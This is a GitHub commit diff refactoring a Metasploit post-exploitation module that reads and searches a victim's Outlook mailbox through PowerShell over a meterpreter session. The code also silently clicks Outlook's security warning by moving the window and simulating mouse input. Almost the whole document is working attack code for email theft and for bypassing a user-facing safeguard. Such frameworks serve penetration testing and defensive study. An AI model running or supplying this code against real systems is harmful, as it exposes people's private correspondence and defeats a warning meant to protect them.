Skip to content

Commit e7503bf

Browse files
committed
Merge pull request #2 from FireFart/outlook_fix
Outlook fix
2 parents 7c62fa5 + cc63d43 commit e7503bf

File tree

2 files changed

+110
-111
lines changed

2 files changed

+110
-111
lines changed

data/post/powershell/outlook.ps1

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
function GetSubfolders($root) {
2+
$folders = @()
3+
$folders += $root
4+
foreach ($folder in $root.Folders) {
5+
$folders += GetSubfolders($folder)
6+
}
7+
return $folders
8+
}
9+
10+
function List-Folder {
11+
Clear-host
12+
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
13+
$Outlook = New-Object -ComObject Outlook.Application
14+
$Namespace = $Outlook.GetNameSpace("MAPI")
15+
$account = $NameSpace.Folders
16+
$folders = @()
17+
foreach ($acc in $account) {
18+
foreach ($folder in $acc.Folders) {
19+
$folders += GetSubfolders($folder)
20+
}
21+
}
22+
$folders | FT FolderPath
23+
}
24+
25+
function Get-Emails {
26+
param ([String]$searchTerm,[String]$Folder)
27+
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
28+
$Outlook = New-Object -ComObject Outlook.Application
29+
$Namespace = $Outlook.GetNameSpace("MAPI")
30+
$account = $NameSpace.Folders
31+
$found = $false
32+
foreach ($acc in $account) {
33+
try {
34+
$Email = $acc.Folders.Item($Folder).Items
35+
$result = $Email | Where-Object {$_.HTMLBody -like '*' + $searchTerm + '*' -or $_.TaskSubject -like '*' + $searchTerm + '*'}
36+
if($result) {
37+
$found = $true
38+
$result | Format-List To, SenderEmailAddress, CreationTime, TaskSubject, HTMLBody
39+
}
40+
} catch {
41+
Write-Host "Folder" $Folder "not found in mailbox" $acc.Name
42+
}
43+
}
44+
if(-Not $found) {
45+
Write-Host "Searchterm" $searchTerm "not found"
46+
}
47+
}

modules/post/windows/gather/outlook.rb

Lines changed: 63 additions & 111 deletions
Original file line numberDiff line numberDiff line change
@@ -9,129 +9,81 @@ class Metasploit3 < Msf::Post
99
include Msf::Post::Windows::Registry
1010
include Msf::Post::Windows::Powershell
1111

12-
A_HASH = { "en_US" => "Allow", "NL" => "Toestaan", "de_DE" => "Erteilen", "de_AT" => "Erteilen" }
13-
ACF_HASH = { "en_US" => "Allow access for", "NL" => "Toegang geven voor", "de_DE" => "Zugriff gew\xc3\xa4hren f\xc3\xbcr", "de_AT" => "Zugriff gew\xc3\xa4hren f\xc3\xbcr" }
12+
A_HASH = { "en_US" => "Allow", "NL" => "Toestaan", "de_DE" => "Erteilen", "de_AT" => "Erteilen" }
13+
ACF_HASH = { "en_US" => "Allow access for", "NL" => "Toegang geven voor", "de_DE" => "Zugriff gew\xc3\xa4hren f\xc3\xbcr", "de_AT" => "Zugriff gew\xc3\xa4hren f\xc3\xbcr" }
1414

1515
def initialize(info={})
1616
super(update_info(info,
17-
'Name' => 'Windows Gather Outlook Email Messages',
18-
'Description' => %q{
19-
This module allows you to read and search email messages from the local Outlook installation using powershell. Please note that this module is manipulating the victims keyboard/mouse.
20-
If a victim is behind the target system, he might notice the activities of this module. Tested on Windows 8.1 x64 with Office 2013.
21-
},
22-
'License' => MSF_LICENSE,
23-
'Author' => [ 'Wesley Neelen <security[at]forsec.nl>' ],
24-
'References' => [ 'URL', 'https://forsec.nl/2014/11/reading-outlook-using-metasploit' ],
25-
'Platform' => [ 'win' ],
26-
'Arch' => [ 'x86', 'x64' ],
27-
'SessionTypes' => [ 'meterpreter'],
28-
'Actions' => [
29-
[ 'LIST', { 'Description' => 'Lists all folders' } ],
30-
[ 'SEARCH', { 'Description' => 'Searches for an email' } ]
31-
],
32-
'DefaultAction' => 'LIST'
33-
))
34-
35-
register_options(
36-
[
37-
OptString.new('FOLDER', [ false, ' The e-mailfolder to read (e.g. Inbox)' ]),
38-
OptString.new('KEYWORD', [ false, ' Search e-mails by the keyword specified here' ]),
39-
OptString.new('A_TRANSLATION', [ false, ' Fill in the translation of the word "Allow" in the targets system language, to click on the security popup.' ]),
40-
OptString.new('ACF_TRANSLATION', [ false, ' Fill in the translation of the phrase "Allow access for" in the targets system language, to click on the security popup.' ]),
17+
'Name' => 'Windows Gather Outlook Email Messages',
18+
'Description' => %q{
19+
This module allows you to read and search email messages from the local Outlook installation using powershell. Please note that this module is manipulating the victims keyboard/mouse.
20+
If a victim is behind the target system, he might notice the activities of this module. Tested on Windows 8.1 x64 with Office 2013.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' => [ 'Wesley Neelen <security[at]forsec.nl>' ],
24+
'References' => [ 'URL', 'https://forsec.nl/2014/11/reading-outlook-using-metasploit' ],
25+
'Platform' => [ 'win' ],
26+
'Arch' => [ 'x86', 'x64' ],
27+
'SessionTypes' => [ 'meterpreter' ],
28+
'Actions' => [
29+
[ 'LIST', { 'Description' => 'Lists all folders' } ],
30+
[ 'SEARCH', { 'Description' => 'Searches for an email' } ]
31+
],
32+
'DefaultAction' => 'LIST'
33+
))
34+
35+
register_options(
36+
[
37+
OptString.new('FOLDER', [ false, 'The e-mailfolder to read (e.g. Inbox)' ]),
38+
OptString.new('KEYWORD', [ false, 'Search e-mails by the keyword specified here' ]),
39+
OptString.new('A_TRANSLATION', [ false, 'Fill in the translation of the word "Allow" in the targets system language, to click on the security popup.' ]),
40+
OptString.new('ACF_TRANSLATION', [ false, 'Fill in the translation of the phrase "Allow access for" in the targets system language, to click on the security popup.' ]),
4141
], self.class)
4242
end
4343

44-
def listBoxes
45-
# This function prints a listing of available mailbox folders
46-
psh_script = %Q|
47-
function GetSubfolders($root) {
48-
$folders = @()
49-
$folders += $root
50-
foreach ($folder in $root.Folders) {
51-
$folders += GetSubfolders($folder)
52-
}
53-
return $folders
54-
}
55-
function List-Folder {
56-
Clear-host
57-
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
58-
$Outlook = New-Object -ComObject Outlook.Application
59-
$Namespace = $Outlook.GetNameSpace("MAPI")
60-
$account = $NameSpace.Folders
61-
$folders = @()
62-
foreach ($acc in $account) {
63-
foreach ($folder in $acc.Folders) {
64-
$folders += GetSubfolders($folder)
65-
}
66-
}
67-
$folders \| FT FolderPath
68-
}
69-
List-Folder
70-
|
44+
def execute_outlook_script(command)
45+
base_script = File.read(File.join(Msf::Config.data_directory, "post", "powershell", "outlook.ps1"))
46+
psh_script = base_script << command
7147
compressed_script = compress_script(psh_script)
7248
cmd_out, runnings_pids, open_channels = execute_script(compressed_script)
7349
while(d = cmd_out.channel.read)
74-
print ("#{d}")
50+
print ("#{d}")
7551
end
7652
currentidle = session.ui.idle_time
77-
print("\n")
78-
print_status("System has currently been idle for #{currentidle} seconds")
53+
vprint_status("System has currently been idle for #{currentidle} seconds")
54+
end
55+
56+
# This function prints a listing of available mailbox folders
57+
def listBoxes
58+
command = 'List-Folder'
59+
execute_outlook_script(command)
7960
end
8061

62+
# This functions reads Outlook using powershell scripts
8163
def readEmails(folder,keyword,atrans,acftrans)
82-
# This functions reads Outlook using powershell scripts
8364
view = framework.threads.spawn("ButtonClicker", false) {
8465
clickButton(atrans,acftrans)
8566
}
86-
psh_script = %Q|
87-
function Get-Emails {
88-
param ([String]$searchTerm,[String]$Folder)
89-
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
90-
$Outlook = New-Object -ComObject Outlook.Application
91-
$Namespace = $Outlook.GetNameSpace("MAPI")
92-
$account = $NameSpace.Folders
93-
$found = $false
94-
foreach ($acc in $account) {
95-
try {
96-
$Email = $acc.Folders.Item($Folder).Items
97-
$result = $Email \| Where-Object {$_.HTMLBody -like '*' + $searchTerm + '*' -or $_.TaskSubject -like '*' + $searchTerm + '*'}
98-
if($result) {
99-
$found = $true
100-
$result \| Format-List To, SenderEmailAddress, CreationTime, TaskSubject, HTMLBody
101-
}
102-
} catch {
103-
Write-Host "Folder" $Folder "not found in mailbox" $acc.Name
104-
}
105-
}
106-
if(-Not $found) {
107-
Write-Host "Searchterm" $searchTerm "not found"
108-
}
109-
}
110-
Get-Emails "#{keyword}" "#{folder}"
111-
|
112-
compressed_script = compress_script(psh_script)
113-
cmd_out, runnings_pids, open_channels = execute_script(compressed_script, 120)
114-
while(d = cmd_out.channel.read)
115-
print ("#{d}")
116-
end
67+
command = "Get-Emails \"#{keyword}\" \"#{folder}\""
68+
execute_outlook_script(command)
11769
end
11870

11971
def clickButton(atrans,acftrans)
12072
# This functions clicks on the security notification generated by Outlook.
12173
sleep 1
12274
hwnd = client.railgun.user32.FindWindowW(nil, "Microsoft Outlook")
12375
if hwnd != 0
124-
hwndChildCk = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "&#{acftrans}")
125-
client.railgun.user32.SendMessageW(hwndChildCk['return'], 0x00F1, 1, nil)
126-
client.railgun.user32.MoveWindow(hwnd['return'],150,150,1,1,true)
127-
hwndChild = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "#{atrans}")
128-
client.railgun.user32.SetActiveWindow(hwndChild['return'])
129-
client.railgun.user32.SetForegroundWindow(hwndChild['return'])
130-
client.railgun.user32.SetCursorPos(150,150)
131-
client.railgun.user32.mouse_event(0x0002,150,150,nil,nil)
132-
client.railgun.user32.SendMessageW(hwndChild['return'], 0x00F5, 0, nil)
76+
hwndChildCk = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "&#{acftrans}")
77+
client.railgun.user32.SendMessageW(hwndChildCk['return'], 0x00F1, 1, nil)
78+
client.railgun.user32.MoveWindow(hwnd['return'],150,150,1,1,true)
79+
hwndChild = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "#{atrans}")
80+
client.railgun.user32.SetActiveWindow(hwndChild['return'])
81+
client.railgun.user32.SetForegroundWindow(hwndChild['return'])
82+
client.railgun.user32.SetCursorPos(150,150)
83+
client.railgun.user32.mouse_event(0x0002,150,150,nil,nil)
84+
client.railgun.user32.SendMessageW(hwndChild['return'], 0x00F5, 0, nil)
13385
else
134-
print_error("Error while clicking on the Outlook security notification. Window could not be found")
86+
print_error("Error while clicking on the Outlook security notification. Window could not be found")
13587
end
13688
end
13789

@@ -146,20 +98,20 @@ def run
14698
# OS language check
14799
sysLang = client.sys.config.sysinfo['System Language']
148100
A_HASH.each do |key, val|
149-
if sysLang == key
150-
langNotSupported = false
151-
atrans = A_HASH[sysLang]
152-
acftrans = ACF_HASH[sysLang]
153-
end
101+
if sysLang == key
102+
langNotSupported = false
103+
atrans = A_HASH[sysLang]
104+
acftrans = ACF_HASH[sysLang]
105+
end
154106
end
155107

156108
if allow and allow_access_for
157-
atrans = allow
158-
acftrans = allow_access_for
109+
atrans = allow
110+
acftrans = allow_access_for
159111
else
160-
if langNotSupported == true
161-
fail_with(Failure::Unknown, "System language not supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)")
162-
end
112+
if langNotSupported == true
113+
fail_with(Failure::Unknown, "System language not supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)")
114+
end
163115
end
164116

165117
# Outlook installed
@@ -176,9 +128,9 @@ def run
176128

177129
# Powershell installed check
178130
if have_powershell?
179-
print_good("Powershell is installed.")
131+
print_good("Powershell is installed.")
180132
else
181-
fail_with(Failure::Unknown, "Powershell is not installed")
133+
fail_with(Failure::Unknown, "Powershell is not installed")
182134
end
183135

184136
# Check whether target system is locked
@@ -190,7 +142,7 @@ def run
190142
case action.name
191143
when 'LIST'
192144
print_good('Available folders in the mailbox: ')
193-
listBoxes()
145+
listBoxes
194146
when 'SEARCH'
195147
readEmails(folder,keyword,atrans,acftrans)
196148
else

0 commit comments

Comments
 (0)